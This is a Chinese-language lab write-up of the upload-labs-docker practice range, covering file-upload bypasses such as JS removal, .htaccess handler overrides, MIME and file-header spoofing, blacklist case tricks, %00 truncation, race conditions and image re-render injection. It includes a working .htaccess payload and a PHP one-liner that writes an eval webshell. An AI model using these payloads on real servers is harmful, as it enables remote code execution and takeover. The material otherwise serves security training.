第47天:漏洞利用-PHP应用&文件上传&函数缺陷&条件竞争&二次渲染&黑白名单&JS绕过

第47天:WEB攻防-PHP应用&文件上传&函数缺陷&条件竞争&二次渲染&黑白名单&JS绕过1

1
2
3
4
5
6
7
8
在没有解析漏洞的环境下,上传图片格式,是不会解析成脚本语言的,除非有其他错误的解析,例如文件包含之类的

文件上传是什么?
文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安
全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文
件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语
言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方 配合利用。另外文件上
传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!

image-20250812200437927

upload-labs-docker靶场

1
项目地址:https://github.com/sqlsec/upload-labs-docker

less-1-前端验证

image-20250812200639225

后端是没有做任何验证的

image-20250812200739049

image-20250812200855866

但是由于这里是前端验证,所以可以使用:

1
2
3
1、禁用js,但是可能会导致页面不可用
2、将页面保存到本地,然后删除js,在本地上传
3、先上传一个正常的文件,然后使用burp进行修改

这里我使用第三种

image-20250812203042294

less-2-htaccess文件

image-20250812202050852

这一关是因为apche中有一个htaccess的文件,这个文件有什么用?

1
2
3
4
5
6
7
8
9
10
11
12
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

代码:
<FilesMatch "shana">
SetHandler application/x-httpd-php
</FilesMatch>
将其保存为一个.htaccess的文件
代码解析:如果有文件名有"shana"的就将他按照php的格式来解析


AddType application/x-httpd-php .png
这个的意思是将所有png后缀的文件当做php文件进行解析

先上传.htaccess文件

image-20250812202529740

image-20250812202501991

image-20250812203228827

上传之后可以正常访问。

less-3-MIME类型

什么是MIME类型:

MIME(Multipurpose Internet Mail Extensiions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

注:Tomcat的安装目录\conf\web.xml中就定义了大量MIME类型。

类型 后缀 MIME
Microsoft Word文件 .word application/msword
PDF文件 .pdf application/pdf
GIF图形 .gif image/gif
JPEG图形 .jpeg .jpg image/jpeg
au声音文件 .au audio/basic
MIDI音乐文件 .mid .midi audio/midi audio/x-midi
RealAudio音乐文件 .ra .ram audio/x-pn-realaudio
MPEG文件 .mpg .mpeg video/mpeg
AVI文件 .avi video/x-msvideo

image-20250812202818949

image-20250812202833778

less-4-文件头

每种类型文件的,使用二进制进行查看的时候,文件头部都会有特殊标识,这里用gif文件进行举例:

image-20250812203551894

1
2
3
4
5
6
7
8
JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
HTML (html),文件头:68746D6C3E
ZIP Archive (zip),文件头:504B0304
RAR Archive (rar),文件头:52617221
Adobe Acrobat (pdf),文件头:255044462D312E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
文件类型 文件扩展名 文件头标识(明文形式) 说明
GIF 图像 .gif GIF89a 或 GIF87a 分别对应 89a 和 87a 版本
PNG 图像 .png 无直接可读明文 头部包含特定二进制序列,无 ASCII 可见字符标识
JPEG 图像 .jpg/.jpeg 无直接可读明文 头部为二进制标识,无明显 ASCII 字符
BMP 图像 .bmp BM 以 “BM” 开头(ASCII 字符)
PDF 文档 .pdf %PDF- 以 “% PDF-” 开头,后面通常跟版本号(如 % PDF-1.5)
ZIP 压缩包 .zip 无直接可读明文 头部为二进制标识
RAR 压缩包 .rar Rar! 以 “Rar!” 开头(ASCII 字符)
7Z 压缩包 .7z 无直接可读明文 头部为二进制标识
HTML 文档 .html/.htm <!DOCTYPE 或 <html 通常以 HTML 标签开头,非固定唯一标识
XML 文档 .xml <?xml 以 “<?xml” 开头(ASCII 字符)
TIFF 图像 .tif/.tiff 无直接可读明文 头部为二进制标识
WAV 音频 .wav RIFF 以 “RIFF” 开头(ASCII 字符),后续包含文件信息

这个表格是其他常见的文件头部。

image-20250812204154011

在上传的时候将后缀更改为php。

image-20250812204231399

less-5-黑名单双写

image-20250812204927578

image-20250812205110067

str_ireplace() 函数会对字符串进行不区分大小写的替换

如果这里有对大小写进行区分的话,就可以使用大小写绕过。

less-6-黑名单大小写

image-20250812205644205

和上一关不一样的就是上图的位置,这个函数是区分大小的,所以可以使用大小写绕过。

1
本关属于理论上漏洞,因为题目环境是 Docker 容器运行的 Linux 系统,所以本题人工修改成了 Windows 的特性。这里本人尝试使用全大写,或者大小绕过,都不行,linux都不能正常解析。

less-7-00截断

1
2
magic_quotes_gpc = Off
PHP 版本小于 5.3.4

image-20250812210341710

如果上传文件的路径在上图的请求路径中,就可以不用自己解码,如果在post提交的内容体中就需要自己手动解码。大致原理:可以看到我提交的路径自己加上了一个a.php但是我post提交的里面是jpg格式,在进行文件路径+文件名进行拼接的时候就会把后面的内容进行截断。所以最后上传的就是a.php。

image-20250812210728303

less-8-POST型00截断

前置条件:

1
2
magic_quotes_gpc = Off
PHP 版本小于 5.3.4

image-20250812210820397

可以看到提交的路径在请求体中,这样的情况就需要自己手动解码一次。

image-20250812211025853

然后选中%00进行URL解码。

image-20250812211101199

image-20250812211124022

less-9-黑名单缺陷

image-20250812204406725

像这样的黑名单,在黑盒测试中使用FUZZ就行。

image-20250812211724764

image-20250812211706786

image-20250812211758609

less-10-条件竞争

1
<?php fputs(fopen('xiao.php','w'),'<?php @eval($_REQUEST[1]);?>');?>

必须不断发包,和不断的请求这个上传的文件,然后你在访问这个被请求的创建的文件。

1
2
原理:
攻击者上传了一个用来生成恶意 shell 的文件,在上传完成和安全检查完成并删除它的间隙,攻击者通过不断地发起访问请求的方法访问了该文件,该文件就会被执行,并且在服务器上生成一个恶意 shell 的文件。

首先将先一直上传文件:

image-20250812212521834

然后在发送一个数据包,一直请求这个被上传文件

image-20250812212440084

然后你在一直访问这个被创建的文件(人工)

image-20250812212910242

出现这样的情况就说明文件已经被创建了,这时就可以使用webshell工具直接访问。

image-20250812212904553

image-20250812213007775

less-11-二次渲染

先上传一张正常的图片,然后在将渲染之后的图片下载,然后在比较两张图片没有更改的部分。

image-20250812213521589

然后在没有发生变化的地方进行恶意代码的写入。

这一关有个提示,就是文件包含的地址,然后将上传的文件,使用文件包含将恶意代码进行植入。

image-20250812214134156

less-12-函数缺陷

1
move_uploaded_file($temp_file, $img_path)

image-20250812214556617

image-20250812214612673

less-13-代码审计

数组绕过:

image-20250812220830328

image-20250812220807729